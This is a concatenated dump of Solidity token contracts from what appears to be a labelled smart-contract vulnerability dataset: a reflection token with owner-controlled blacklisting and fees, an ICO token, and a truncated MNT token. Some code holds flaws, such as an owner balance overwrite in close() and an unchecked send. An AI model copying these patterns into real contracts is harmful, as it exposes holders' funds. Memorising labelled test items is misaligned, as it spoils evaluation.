_allowances[_msgSender()][spender].sub(
subtractedValue,
'ERC20: decreased allowance below zero'
)
);
return true;
}
function setMaxTxnAmount(uint256 maxTxAmountPercetange) external onlyOwner{
require(maxTxAmountPercetange < 1000, "Maximum amount per transaction must be lower than 100%");
require(maxTxAmountPercetange > 1, "Maximum amount per transaction must be higher than 0.1%");
_maxTxAmount = _tTotal.mul(maxTxAmountPercetange).div(1000);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setMaxWalletSize(uint256 maxWalletSizePercentage) external onlyOwner{
require(maxWalletSizePercentage < 1000, "Maximum wallet size must be lower than 100%");
require(maxWalletSizePercentage > 20, "Maximum wallet size must be higher than 2%");
_maxWalletSize = _tTotal.mul(maxWalletSizePercentage).div(1000);
emit MaxWalletSizeUpdated(_maxWalletSize);
}
function getLastETHRewardsClaim(address wallet)
external
view
returns (uint256)
{
return _rewardsLastClaim[wallet];
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) external {
address sender = _msgSender();
require(
!_isExcludedReward[sender],
'Excluded addresses cannot call this function'
);
(uint256 rAmount, , , , , ) = _getValues(sender, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
require(tAmount <= _tTotal, 'Amount must be less than supply');
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(address(0), tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(address(0), tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, 'Amount must be less than total reflections');
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) external onlyOwner {
require(!_isExcludedReward[account], 'Account is already excluded');
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedReward[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcludedReward[account], 'Account is already included');
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcludedReward[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), 'ERC20: transfer from the zero address');
require(to != address(0), 'ERC20: transfer to the zero address');
require(amount > 0, 'Transfer amount must be greater than zero');
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (
(to == uniswapV2Pair || _isUniswapPair[to]) &&
from != address(uniswapV2Router) &&
!isExcludedFromFee(to) &&
!isExcludedFromFee(from)
) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
if (
to != uniswapV2Pair &&
!_isUniswapPair[to] &&
!isExcludedFromFee(to) &&
!isExcludedFromFee(from)
) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (_isMaxBuyActivated) {
if (block.timestamp <= launchTime + 30 minutes) {
require(amount <= _maximumBuyAmount, "Amount too much");
}
}
}
_rewardsLastClaim[to] = block.timestamp;
bool excludedFromFee = false;
if (
(from == uniswapV2Pair || _isUniswapPair[from]) &&
to != address(uniswapV2Router)
) {
if (!isExcludedFromFee(to)) {
require(_tradingOpen, 'Trading not yet enabled.');
if (block.timestamp == launchTime) {
_isSniper[to] = true;
_confirmedSnipers.push(to);
}
_rewardsLastClaim[from] = block.timestamp;
} else {
excludedFromFee = true;
}
}
if (
!_inSwapAndLiquify &&
_tradingOpen &&
(to == uniswapV2Pair || _isUniswapPair[to])
) {
uint256 _contractTokenBalance = balanceOf(address(this));
if (_contractTokenBalance > 0) {
if (
_contractTokenBalance > balanceOf(uniswapV2Pair).mul(feeRate).div(100)
) {
_contractTokenBalance = balanceOf(uniswapV2Pair).mul(feeRate).div(
100
);
}
_swapTokens(_contractTokenBalance);
}
_rewardsLastClaim[from] = block.timestamp;
_isSelling = true;
excludedFromFee = isExcludedFromFee(from);
}
bool takeFee = false;
if (
(from == uniswapV2Pair ||
to == uniswapV2Pair ||
_isUniswapPair[to] ||
_isUniswapPair[from]) && !excludedFromFee
) {
takeFee = true;
}
_tokenTransfer(from, to, amount, takeFee);
_isSelling = false;
}
function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap {
uint256 ethBalanceBefore = address(this).balance;
_swapTokensForEth(_contractTokenBalance);
uint256 ethBalanceAfter = address(this).balance;
uint256 ethBalanceUpdate = ethBalanceAfter.sub(ethBalanceBefore);
uint256 _liquidityFeeTotal = _liquidityFeeAggregate(address(0));
ethRewardsBalance += ethBalanceUpdate.mul(ethRewardsFee).div(
_liquidityFeeTotal
);
uint256 treasuryETHBalance = ethBalanceUpdate.mul(treasuryFee).div(
_liquidityFeeTotal
);
if (treasuryETHBalance > 0) {
_sendETHToTreasury(treasuryETHBalance);
}
uint256 buybackETHBalance = ethBalanceUpdate.mul(buybackFee).div(
_liquidityFeeTotal
);
if (buybackETHBalance > 0) {
_buyBackTokens(buybackETHBalance);
}
}
function _sendETHToTreasury(uint256 amount) private {
treasuryWallet.call{ value: amount }('');
}
function _buyBackTokens(uint256 amount) private {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = buybackTokenAddress;
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: amount
}(
0,
path,
buybackReceiver,
block.timestamp
);
emit SwapETHForTokens(buybackReceiver, amount, path);
}
function _swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) _removeAllFee();
if (_isExcludedReward[sender] && !_isExcludedReward[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcludedReward[sender] && _isExcludedReward[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcludedReward[sender] && _isExcludedReward[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) _restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(address seller, uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(
seller,
tAmount
);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(address seller, uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = _calculateReflectFee(tAmount);
uint256 tLiquidity = _calculateLiquidityFee(seller, tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply)
return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcludedReward[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function _calculateReflectFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(reflectionFee).div(10**2);
}
function _liquidityFeeAggregate(address seller)
private
view
returns (uint256)
{
uint256 feeMultiplier = _isSelling && !canClaimRewards(seller)
? feeSellMultiplier
: 1;
return (treasuryFee.add(ethRewardsFee).add(buybackFee)).mul(feeMultiplier);
}
function _calculateLiquidityFee(address seller, uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFeeAggregate(seller)).div(10**2);
}
function _removeAllFee() private {
if (
reflectionFee == 0 &&
treasuryFee == 0 &&
ethRewardsFee == 0 &&
buybackFee == 0
) return;
_previousReflectFee = reflectionFee;
_previousTreasuryFee = treasuryFee;
_previousETHRewardsFee = ethRewardsFee;
_previousBuybackFee = buybackFee;
reflectionFee = 0;
treasuryFee = 0;
ethRewardsFee = 0;
buybackFee = 0;
}
function _restoreAllFee() private {
reflectionFee = _previousReflectFee;
treasuryFee = _previousTreasuryFee;
ethRewardsFee = _previousETHRewardsFee;
buybackFee = _previousBuybackFee;
}
function getSellSlippage(address seller) external view returns (uint256) {
uint256 feeAgg = treasuryFee.add(ethRewardsFee).add(buybackFee);
return
isExcludedFromFee(seller) ? 0 : !canClaimRewards(seller)
? feeAgg.mul(feeSellMultiplier)
: feeAgg;
}
function isUniswapPair(address _pair) external view returns (bool) {
if (_pair == uniswapV2Pair) return true;
return _isUniswapPair[_pair];
}
function eligibleForRewardBooster(address wallet) public view returns (bool) {
return
boostRewardsContract != address(0) &&
IConditional(boostRewardsContract).passesTest(wallet);
}
function isExcludedFromFee(address account) public view returns (bool) {
return
_isExcludedFee[account] ||
(feeExclusionContract != address(0) &&
IConditional(feeExclusionContract).passesTest(account));
}
function isExcludedFromReward(address account) external view returns (bool) {
return _isExcludedReward[account];
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFee[account] = true;
}
function includeInFee(address account) external onlyOwner {
_isExcludedFee[account] = false;
}
function setRewardsClaimTimeSeconds(uint256 _seconds) external onlyOwner {
require(_seconds >= 0 &&_seconds <= 60 * 60 * 24 * 7, 'claim time delay must be greater or equal to 0 seconds and less than or equal to 7 days');
rewardsClaimTimeSeconds = _seconds;
}
function setNewFeesPercentages(uint256 _reflectionNewFee, uint256 _treasuryNewFee, uint256 _ethRewardsNewFee, uint256 _buybackRewardsNewFee) external onlyOwner {
require(_reflectionNewFee + _treasuryNewFee + _ethRewardsNewFee + _buybackRewardsNewFee <= 10, 'Tax cannot be higher than 10%');
reflectionFee = _reflectionNewFee;
treasuryFee = _treasuryNewFee;
ethRewardsFee = _ethRewardsNewFee;
buybackFee = _buybackRewardsNewFee;
}
function setFeeSellMultiplier(uint256 multiplier) external onlyOwner {
require(multiplier <= 2, 'must be less than or equal to 2');
feeSellMultiplier = multiplier;
}
function setTreasuryAddress(address _treasuryWallet) external onlyOwner {
treasuryWallet = payable(_treasuryWallet);
_isExcludedFee[treasuryWallet] = true;
}
function setIsMaxBuyActivated(bool _value) public onlyOwner {
_isMaxBuyActivated = _value;
}
function setBuybackTokenAddress(address _tokenAddress) external onlyOwner {
buybackTokenAddress = _tokenAddress;
}
function setBuybackReceiver(address _receiver) external onlyOwner {
buybackReceiver = _receiver;
}
function addUniswapPair(address _pair) external onlyOwner {
_isUniswapPair[_pair] = true;
}
function removeUniswapPair(address _pair) external onlyOwner {
_isUniswapPair[_pair] = false;
}
function setBoostRewardsPercent(uint256 perc) external onlyOwner {
boostRewardsPercent = perc;
}
function setBoostRewardsContract(address _contract) external onlyOwner {
if (_contract != address(0)) {
IConditional _contCheck = IConditional(_contract);
require(
_contCheck.passesTest(address(0)) == true ||
_contCheck.passesTest(address(0)) == false,
'contract does not implement interface'
);
}
boostRewardsContract = _contract;
}
function setFeeExclusionContract(address _contract) external onlyOwner {
if (_contract != address(0)) {
IConditional _contCheck = IConditional(_contract);
require(
_contCheck.passesTest(address(0)) == true ||
_contCheck.passesTest(address(0)) == false,
'contract does not implement interface'
);
}
feeExclusionContract = _contract;
}
function isRemovedSniper(address account) external view returns (bool) {
return _isSniper[account];
}
function removeSniper(address account) external onlyOwner {
require(account != _uniswapRouterAddress, 'We can not blacklist Uniswap');
require(!_isSniper[account], 'Account is already blacklisted');
_isSniper[account] = true;
_confirmedSnipers.push(account);
}
function amnestySniper(address account) external onlyOwner {
require(_isSniper[account], 'Account is not blacklisted');
for (uint256 i = 0; i < _confirmedSnipers.length; i++) {
if (_confirmedSnipers[i] == account) {
_confirmedSnipers[i] = _confirmedSnipers[_confirmedSnipers.length - 1];
_isSniper[account] = false;
_confirmedSnipers.pop();
break;
}
}
}
function calculateETHRewards(address wallet) public view returns (uint256) {
uint256 baseRewards = ethRewardsBalance.mul(balanceOf(wallet)).div(
_tTotal.sub(balanceOf(deadAddress))
);
uint256 rewardsWithBooster = eligibleForRewardBooster(wallet)
? baseRewards.add(baseRewards.mul(boostRewardsPercent).div(10**2))
: baseRewards;
return
rewardsWithBooster > ethRewardsBalance ? baseRewards : rewardsWithBooster;
}
function calculateTokenRewards(address wallet, address tokenAddress)
public
view
returns (uint256)
{
IERC20 token = IERC20(tokenAddress);
uint256 contractTokenBalance = token.balanceOf(address(this));
uint256 baseRewards = contractTokenBalance.mul(balanceOf(wallet)).div(
_tTotal.sub(balanceOf(deadAddress))
);
uint256 rewardsWithBooster = eligibleForRewardBooster(wallet)
? baseRewards.add(baseRewards.mul(boostRewardsPercent).div(10**2))
: baseRewards;
return
rewardsWithBooster > contractTokenBalance
? baseRewards
: rewardsWithBooster;
}
function canClaimRewards(address user) public view returns (bool) {
if (_rewardsLastClaim[user] == 0) {
return
block.timestamp > launchTime.add(rewardsClaimTimeSeconds);
}
else {
return
block.timestamp > _rewardsLastClaim[user].add(rewardsClaimTimeSeconds);
}
}
function setFeeRate(uint256 _rate) external onlyOwner {
feeRate = _rate;
}
function manualswap(uint256 amount) external onlyOwner {
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
_swapTokens(amount);
}
function emergencyWithdraw() external onlyOwner {
payable(owner()).send(address(this).balance);
}
receive() external payable {}
} | 0 | 1,976 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public {
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract EntryToken is StandardToken, Ownable {
string public constant name = "Entry Token";
string public constant symbol = "ENTRY";
uint8 public constant decimals = 18;
uint256 public constant TOKENS_SALE_HARD_CAP = 325000000000000000000000000;
uint256 public constant BASE_RATE = 6000;
uint256 private constant datePreSaleStart = 1525294800;
uint256 private constant datePreSaleEnd = 1525986000;
uint256 private constant dateSaleStart = 1527800400;
uint256 private constant dateSaleEnd = 1535749200;
uint256 private preSaleCap = 75000000000000000000000000;
uint256[25] private stageCaps = [
85000000000000000000000000 ,
95000000000000000000000000 ,
105000000000000000000000000 ,
115000000000000000000000000 ,
125000000000000000000000000 ,
135000000000000000000000000 ,
145000000000000000000000000 ,
155000000000000000000000000 ,
165000000000000000000000000 ,
175000000000000000000000000 ,
185000000000000000000000000 ,
195000000000000000000000000 ,
205000000000000000000000000 ,
215000000000000000000000000 ,
225000000000000000000000000 ,
235000000000000000000000000 ,
245000000000000000000000000 ,
255000000000000000000000000 ,
265000000000000000000000000 ,
275000000000000000000000000 ,
285000000000000000000000000 ,
295000000000000000000000000 ,
305000000000000000000000000 ,
315000000000000000000000000 ,
325000000000000000000000000
];
uint8[25] private stageRates = [15, 16, 17, 18, 19, 21, 22, 23, 24, 25, 27,
28, 29, 30, 31, 33, 34, 35, 36, 37, 40, 41, 42, 43, 44];
uint64 private constant dateTeamTokensLockedTill = 1630443600;
bool public tokenSaleClosed = false;
address public timelockContractAddress;
function isPreSalePeriod() public constant returns (bool) {
if(totalSupply > preSaleCap || now >= datePreSaleEnd) {
return false;
} else {
return now > datePreSaleStart;
}
}
function isICOPeriod() public constant returns (bool) {
if (totalSupply > TOKENS_SALE_HARD_CAP || now >= dateSaleEnd){
return false;
} else {
return now > dateSaleStart;
}
}
modifier inProgress {
require(totalSupply < TOKENS_SALE_HARD_CAP && !tokenSaleClosed && now >= datePreSaleStart);
_;
}
modifier beforeEnd {
require(!tokenSaleClosed);
_;
}
modifier canBeTraded {
require(tokenSaleClosed);
_;
}
function EntryToken() public {
generateTokens(owner, 50000000000000000000000000);
}
function () public payable inProgress {
if(isPreSalePeriod()){
buyPreSaleTokens(msg.sender);
} else if (isICOPeriod()){
buyTokens(msg.sender);
}
}
function buyPreSaleTokens(address _beneficiary) internal {
require(msg.value >= 0.01 ether);
uint256 tokens = getPreSaleTokenAmount(msg.value);
require(totalSupply.add(tokens) <= preSaleCap);
generateTokens(_beneficiary, tokens);
owner.transfer(address(this).balance);
}
function buyTokens(address _beneficiary) internal {
require(msg.value >= 0.01 ether);
uint256 tokens = getTokenAmount(msg.value);
require(totalSupply.add(tokens) <= TOKENS_SALE_HARD_CAP);
generateTokens(_beneficiary, tokens);
owner.transfer(address(this).balance);
}
function getPreSaleTokenAmount(uint256 weiAmount)internal pure returns (uint256) {
return weiAmount.mul(BASE_RATE);
}
function getTokenAmount(uint256 weiAmount) internal view returns (uint256 tokens) {
uint256 tokenBase = weiAmount.mul(BASE_RATE);
uint8 stageNumber = currentStageIndex();
tokens = getStageTokenAmount(tokenBase, stageNumber);
while(tokens.add(totalSupply) > stageCaps[stageNumber] && stageNumber < 24){
stageNumber++;
tokens = getStageTokenAmount(tokenBase, stageNumber);
}
}
function getStageTokenAmount(uint256 tokenBase, uint8 stageNumber)internal view returns (uint256) {
uint256 rate = 10000000000000000000/stageRates[stageNumber];
uint256 base = tokenBase/1000000000000000000;
return base.mul(rate);
}
function currentStageIndex() internal view returns (uint8 stageNumber) {
stageNumber = 0;
while(stageNumber < 24 && totalSupply > stageCaps[stageNumber]) {
stageNumber++;
}
}
function buyTokensOnInvestorBehalf(address _beneficiary, uint256 _tokens) public onlyOwner beforeEnd {
generateTokens(_beneficiary, _tokens);
}
function buyTokensOnInvestorBehalfBatch(address[] _addresses, uint256[] _tokens) public onlyOwner beforeEnd {
require(_addresses.length == _tokens.length);
require(_addresses.length <= 100);
for (uint256 i = 0; i < _tokens.length; i = i.add(1)) {
generateTokens(_addresses[i], _tokens[i]);
}
}
function generateTokens(address _beneficiary, uint256 _tokens) internal {
require(_beneficiary != address(0));
totalSupply = totalSupply.add(_tokens);
balances[_beneficiary] = balances[_beneficiary].add(_tokens);
emit Transfer(address(0), _beneficiary, _tokens);
}
function close() public onlyOwner beforeEnd {
uint256 lockedTokens = 16250000000000000000000000;
uint256 partnerTokens = 260000000000000000000000;
generateLockedTokens(lockedTokens);
generatePartnerTokens(partnerTokens);
totalSupply = totalSupply.add(lockedTokens+partnerTokens);
tokenSaleClosed = true;
owner.transfer(address(this).balance);
}
function generateLockedTokens( uint lockedTokens) internal{
TokenTimelock lockedTeamTokens = new TokenTimelock(this, owner, dateTeamTokensLockedTill);
timelockContractAddress = address(lockedTeamTokens);
balances[timelockContractAddress] = balances[timelockContractAddress].add(lockedTokens);
emit Transfer(address(0), timelockContractAddress, lockedTokens);
}
function generatePartnerTokens(uint partnerTokens) internal{
balances[owner] = partnerTokens;
emit Transfer(address(0), owner, partnerTokens);
}
function transferFrom(address _from, address _to, uint256 _value) public canBeTraded returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public canBeTraded returns (bool) {
return super.transfer(_to, _value);
}
} | 1 | 5,027 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
function max(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
contract MntToken {
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event Burn(address indexed from, uint value);
event TransferLocked(address indexed from, address indexed to, uint value, uint8 locktype);
event Purchased(address indexed recipient, uint purchase, uint amount);
using SafeMath for uint;
address public owner;
bool public frozen = false;
uint8 constant public decimals = 6;
uint public totalSupply = 100*10**(8+uint256(decimals));
string constant public name = "MDEX Token | Mongolia National Blockchain Digital Assets Exchange Token";
string constant public symbol = "MNT";
mapping(address => uint) ownerance;
mapping(address => mapping(address => uint)) public allowance;
uint8 LOCKED_TYPE_MAX = 2;
uint private constant RELEASE_BASE_TIME = 1533686888;
address[] private lockedOwner;
mapping(address => uint) public lockedance;
mapping(address => uint8) public lockedtype;
mapping(address => uint8) public unlockedstep;
uint public totalCirculating;
modifier isOwner() {
require(msg.sender == owner);
_;
}
modifier isNotFrozen() {
require(!frozen);
_;
}
modifier hasEnoughBalance(uint _amount) {
require(ownerance[msg.sender] >= _amount);
_;
}
modifier overflowDetected(address _owner, uint _amount) {
require(ownerance[_owner] + _amount >= ownerance[_owner]);
_;
}
modifier hasAllowBalance(address _owner, address _allower, uint _amount) {
require(allowance[_owner][_allower] >= _amount);
_;
}
modifier isNotEmpty(address _addr, uint _value) {
require(_addr != address(0));
require(_value != 0);
_;
}
modifier isValidAddress {
assert(0x0 != msg.sender);
_;
}
modifier hasntLockedBalance(address _checker) {
require(lockedtype[_checker] == 0);
_;
}
modifier checkLockedType(uint8 _locktype) {
require(_locktype > 0 && _locktype <= LOCKED_TYPE_MAX);
_;
}
constructor() public {
owner = msg.sender;
ownerance[msg.sender] = totalSupply;
totalCirculating = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function approve(address _spender, uint _value)
isNotFrozen
isValidAddress
public returns (bool success)
{
require(_value == 0 || allowance[msg.sender][_spender] == 0);
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value)
isNotFrozen
isValidAddress
overflowDetected(_to, _value)
public returns (bool success)
{
require(ownerance[_from] >= _value);
require(allowance[_from][msg.sender] >= _value);
ownerance[_to] = ownerance[_to].add(_value);
ownerance[_from] = ownerance[_from].sub(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public
constant returns (uint balance)
{
balance = ownerance[_owner] + lockedance[_owner];
return balance;
}
function available(address _owner) public
constant returns (uint)
{
return ownerance[_owner];
}
function transfer(address _to, uint _value) public
isNotFrozen
isValidAddress
isNotEmpty(_to, _value)
hasEnoughBalance(_value)
overflowDetected(_to, _value)
returns (bool success)
{
ownerance[msg.sender] = ownerance[msg.sender].sub(_value);
ownerance[_to] = ownerance[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferOwner(address _newOwner)
isOwner
public returns (bool success)
{
if (_newOwner != address(0)) {
owner = _newOwner;
}
return true;
}
function freeze()
isOwner
public returns (bool success)
{
frozen = true;
return true;
}
function unfreeze()
isOwner
public returns (bool success)
{
frozen = false;
return true;
}
function burn(uint _value)
isNotFrozen
isValidAddress
hasEnoughBalance(_value)
public returns (bool success)
{
